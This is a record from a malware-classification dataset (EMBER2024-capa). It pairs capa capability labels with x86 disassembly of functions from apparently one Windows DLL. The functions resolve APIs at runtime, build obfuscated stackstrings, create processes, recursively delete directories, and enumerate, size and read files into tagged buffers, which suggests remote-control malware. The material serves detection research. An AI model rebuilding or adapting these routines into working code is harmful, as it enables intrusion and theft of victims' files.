joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004c40
Capabilities:
Link many functions at runtime
Terminate thread

Disassembly:
sub esp, 0x20
mov al, 0x4d
push ebx
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
mov al, 0x4c
push ebp
push esi
mov byte [esp + 0x27], al
mov byte [esp + 0x28], al
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, ecx
lea eax, [esp + 0x24]
push 0x100012b0
push eax
mov dword [esi], 0x10003c10
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x2d], 0x49
mov byte [esp + 0x2e], 0x4e
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x44
mov byte [esp + 0x35], 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
lea ecx, [esp + 0x24]
push 0x100012a0
push ecx
mov ebp, eax
call edi
push eax
call ebx
lea edx, [esp + 0x24]
push 0x10001294
push edx
mov dword [esp + 0x20], eax
call edi
push eax
call ebx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x24]
push 0x10001288
push eax
call edi
push eax
call ebx
lea ecx, [esp + 0x24]
push 0x10001270
push ecx
mov dword [esp + 0x1c], eax
call edi
push eax
call ebx
lea edx, [esp + 0x24]
push 0x10001260
push edx
mov dword [esp + 0x24], eax
call edi
push eax
call ebx
mov dword [esp + 0x20], eax
mov al, byte [esi + 0x44]
test al, al
je 0x10004d45
mov eax, dword [esi + 0x18]
push eax
call dword [esp + 0x14]
mov ecx, dword [esi + 0x18]
push ecx
call ebp
mov ebx, dword [0x10003b5c]
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebx
add edi, 4
dec ebp
jne 0x10004d20
mov ecx, dword [esi + 0x18]
push ecx
call dword [esp + 0x18]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x10004d77
mov eax, dword [esi + 0x40]
push eax
call dword [esp + 0x1c]
lea edi, [esi + 0x30]
mov ebp, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call dword [esp + 0x28]
add edi, 4
dec ebp
jne 0x10004d5c
mov eax, dword [esi + 0x40]
push eax
call dword [esp + 0x24]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [edi]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi - 0x20]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi + 8]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x10004d7f
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10004eb0
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 0x10
mov al, 0x4d
push ebp
mov byte [esp + 0xb], al
mov byte [esp + 0xc], al
mov al, 0x4c
push edi
mov byte [esp + 0x13], al
mov byte [esp + 0x14], al
lea eax, [esp + 0xc]
push 0x100012bc
mov edi, ecx
push eax
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x15], 0x49
mov byte [esp + 0x16], 0x4e
mov byte [esp + 0x19], 0x2e
mov byte [esp + 0x1a], 0x44
mov byte [esp + 0x1d], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
test eax, eax
jne 0x10004f0e
pop edi
xor al, al
pop ebp
add esp, 0x10
ret
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push 4
push edi
push 0x10005070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esp + 8]
mov dword [edi + 0x2c], eax
push pe_overlay
push 0
lea eax, [edi + 0x46]
push edx
lea ebp, [edi + 0x18]
push eax
push 0xffff
push ebp
call dword [fcn.10003b78]
test eax, eax
je 0x10004f5b
pop edi
xor al, al
pop ebp
add esp, 0x10
ret
push ebx
push esi
lea esi, [edi + 0x30]
mov ebx, 2
mov ecx, dword [esi]
mov edx, dword [esi - 0x28]
push 0x20
mov dword [ecx], edx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov edx, dword [esi]
xor eax, eax
mov dword [edx + 0x10], eax
mov ecx, dword [esi]
mov dword [ecx + 0x14], eax
mov edx, dword [esi]
mov eax, dword [ebp]
push edx
push eax
call dword [fcn.10003b80]
add esi, 4
dec ebx
jne 0x10004f65
mov ecx, dword [edi + 0x1c]
mov eax, dword [ebp]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
push edx
push eax
call dword [fcn.10003b68]
mov ecx, dword [edi + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp]
push edx
call dword [fcn.10003b64]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebx
pop edi
pop ebp
add esp, 0x10
ret

Function at 0x10006630
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret
Function at 0x10006760
Capabilities:
Get common file path
Query environment variable
Read .ini file

Disassembly:
sub esp, 0x330
push ebx
push ebp
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], 2
call fcn.100066b0
mov edi, eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
mov ebp, 0x105
push eax
push ecx
mov dword [esp + 0x1c], ebp
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x28]
push 0x10001454
push edx
call esi
mov eax, dword [ebx + 0x14]
lea ecx, [esp + 0x28]
push eax
push ecx
call esi
mov edx, dword [0x10001364]
lea eax, [esp + 0x28]
push edx
push eax
call esi
lea ecx, [esp + 0x28]
push ecx
call fcn.10006630
add esp, 4
test al, al
jne 0x100067e1
lea edx, [esp + 0x28]
push ebp
push edx
push 0x10001404
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
lea eax, [esp + 0x23c]
push 0x23
push eax
push 0
call dword [0x10003a48]
lea ecx, [esp + 0x238]
push 0x100013d4
push ecx
lea edx, [esp + 0x240]
push 0x100013cc
push edx
call dword [fcn.10003b38]
add esp, 0x10
lea eax, [esp + 0x14]
lea ecx, [esp + 0x130]
mov dword [esp + 0x14], ebp
push eax
push ecx
push edi
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov edx, dword [0x10001364]
lea eax, [esp + 0x130]
push edx
push eax
call esi
test edi, edi
je 0x1000684c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x130]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x238]
push eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
call fcn.10006630
add esp, 4
test al, al
je 0x100068a0
lea ecx, [esp + 0x130]
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100068a0
lea eax, [esp + 0x130]
mov dword [esp + 0x10], 3
mov dword [esp + 0x24], eax
push 0x2000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x18], 0
test eax, eax
jle 0x10006913
mov ecx, eax
lea ebp, [esp + 0x1c]
mov dword [esp + 0x10], ecx
mov edx, dword [ebp]
mov ecx, 0x800
xor eax, eax
mov edi, ebx
push edx
push 0x2000
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x10006905
mov edx, dword [esp + 0x18]
push esi
inc edx
mov dword [esp + 0x1c], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x100068ec
mov eax, dword [esp + 0x10]
add ebp, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100068c9
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x1c]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x330
ret
Function at 0x100079a0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003c60
push 0x10019522
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10007afd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10007a4c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10007a4c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10007a27
cmp al, 0x5c
je 0x10007a27
push esi
call dword [0x10003b3c]
mov esi, eax
jmp 0x10007a0f
cmp byte [esi], 0
je 0x10007a30
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10007a45
cmp al, 0x5c
je 0x10007a45
push esi
call dword [0x10003b3c]
mov esi, eax
jmp 0x10007a2d
cmp byte [esi], 0
je 0x10007a6b
jmp 0x10007a67
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10007a6b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10007a6b
cmp al, 0x5c
jne 0x10007a6b
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10007ac1
cmp al, 0x5c
jne 0x10007ab3
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10007aa6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10007ab0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10007ab0
push edi
jmp 0x10007af4
and eax, 0x10
cmp al, 0x10
je 0x10007ab0
push edi
jmp 0x10007af4
mov byte [esi], 0x5c
push esi
call dword [0x10003b3c]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10007a71
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007b20
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x80]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x380]
mov dword [esp + 0x2c], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10007b68
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x368
ret 8
mov ebp, dword [fcn.100039f4]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x10007b95
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x368
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [fcn.100039f8]
lea edx, [esp + 0x28]
lea eax, [esp + 0x80]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [fcn.100039fc]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x184]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x80]
lea ecx, [esp + 0x184]
push eax
push 0x100014c8
push ecx
call dword [fcn.10003b38]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x184]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x10007c1a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x368
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x80]
lea edx, [esp + 0x80]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x80]
push 0x100014c4
push edx
call esi
add esp, 8
test eax, eax
jne 0x10007cb6
lea eax, [esp + 0x80]
push 0x100014c0
push eax
call esi
add esp, 8
test eax, eax
jne 0x10007cb6
mov esi, dword [fcn.10003b38]
push 0x100014bc
lea ecx, [esp + 0x84]
push 0x100014b8
push ecx
call esi
mov edx, dword [esp + 0x388]
lea eax, [esp + 0x8c]
push edx
push 0x100014b8
push eax
call esi
add esp, 0x18
jmp 0x10007cd3
mov ecx, dword [esp + 0x37c]
push ecx
push 0x100014b8
push eax
call dword [fcn.10003b38]
mov esi, dword [fcn.10003b38]
add esp, 0xc
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x40]
mov ebx, 0x44
rep stosd dword es:[edi], eax
mov al, 0x5c
mov dl, 0x74
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x380]
mov cl, 0x61
test eax, eax
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x30
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x66
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
je 0x10007d5c
mov eax, dword [esp + 0x44]
lea edx, [esp + 0x14]
push edx
push 0x100014b8
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x3c]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x9c]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x368
ret 8
Function at 0x10007d90
Capabilities:
Get disk size

Disassembly:
sub esp, 0x790
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x10001514
mov dword [esp + 0x30], ecx
push 0x100012f0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x100014fc
push 0x100012f0
mov dword [esp + 0x40], eax
call esi
push eax
call edi
push 0x100014ec
push 0x100012f0
mov ebx, eax
call esi
push eax
call edi
push 0x100014e0
push 0x100012f0
mov dword [esp + 0x38], eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x140]
push eax
push 0x100
mov dword [esp + 0x18], esi
mov byte [esp + 0x3a8], 0x67
call ebx
mov al, byte [esp + 0x140]
xor edx, edx
test al, al
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
mov ebx, 1
je 0x10007f77
jmp 0x10007e42
mov esi, dword [esp + 0x10]
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x3c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x40]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [esp + 0x58]
push 0x410
lea edx, [esp + 0x244]
push 0x160
push edx
push 0x80
push ebp
call dword [0x10003a4c]
lea eax, [esp + 0x350]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x3c]
inc edi
push ecx
mov dword [esp + 0x38], edi
call esi
inc eax
mov dword [esp + 0x18], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10007eec
cmp al, 0x42
je 0x10007eec
lea edx, [esp + 0x24]
push 0
lea eax, [esp + 0x20]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10007eec
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, 0x14
call fcn.10019530
mov edx, dword [esp + 0x20]
mov esi, eax
mov eax, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10019530
mov dword [esp + 0x14], eax
jmp 0x10007ef2
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a4], cl
call dword [esp + 0x34]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x3a1], al
mov eax, ecx
mov dword [esp + ebx + 0x3a2], esi
lea esi, [esp + 0x350]
lea edi, [esp + ebx + 0x3aa]
mov dword [esp + ebx + 0x3a6], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x34]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
lea edx, [eax + ebx]
lea esi, [esp + 0x40]
lea edi, [esp + edx + 0x3ae]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [esp + 0x14]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10007e3c
mov ecx, dword [esp + 0x2c]
lea edx, [esp + 0x3a0]
push ebx
push edx
call fcn.1000daf0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x790
ret
Function at 0x10007fa0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push 0x1000153c
push eax
lea ecx, [esp + 0x164]
push 0x10001534
push ecx
call dword [fcn.10003b38]
add esp, 0x10
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x10008028
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.1000daf0
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x10008038
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x10008058
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x10001530
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10008089
test al, al
je 0x10008085
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10008089
add esi, 2
add edi, 2
test al, al
jne 0x10008061
xor eax, eax
jmp 0x1000808e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10008128
mov edi, 0x1000152c
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x100080c7
test al, al
je 0x100080c3
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x100080c7
add esi, 2
add edi, 2
test al, al
jne 0x1000809f
xor eax, eax
jmp 0x100080cc
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10008128
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10008034
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.1000daf0
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x10008170
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [fcn.10003b38]
push 0x1000153c
push esi
push 0x10001534
mov ebp, ecx
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100081ca
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x1000821c
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push esi
push 0x100013cc
je 0x10008201
lea ecx, [esp + 0x15c]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.10008170
jmp 0x1000821c
lea ecx, [esp + 0x260]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100081ca
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4

Function at 0x10008250
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push 0x80000000
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100082b4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.1000daf0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x10008350
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x1000836e
call fcn.10008430
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008399
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10008411
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.1000daf0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10008430
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4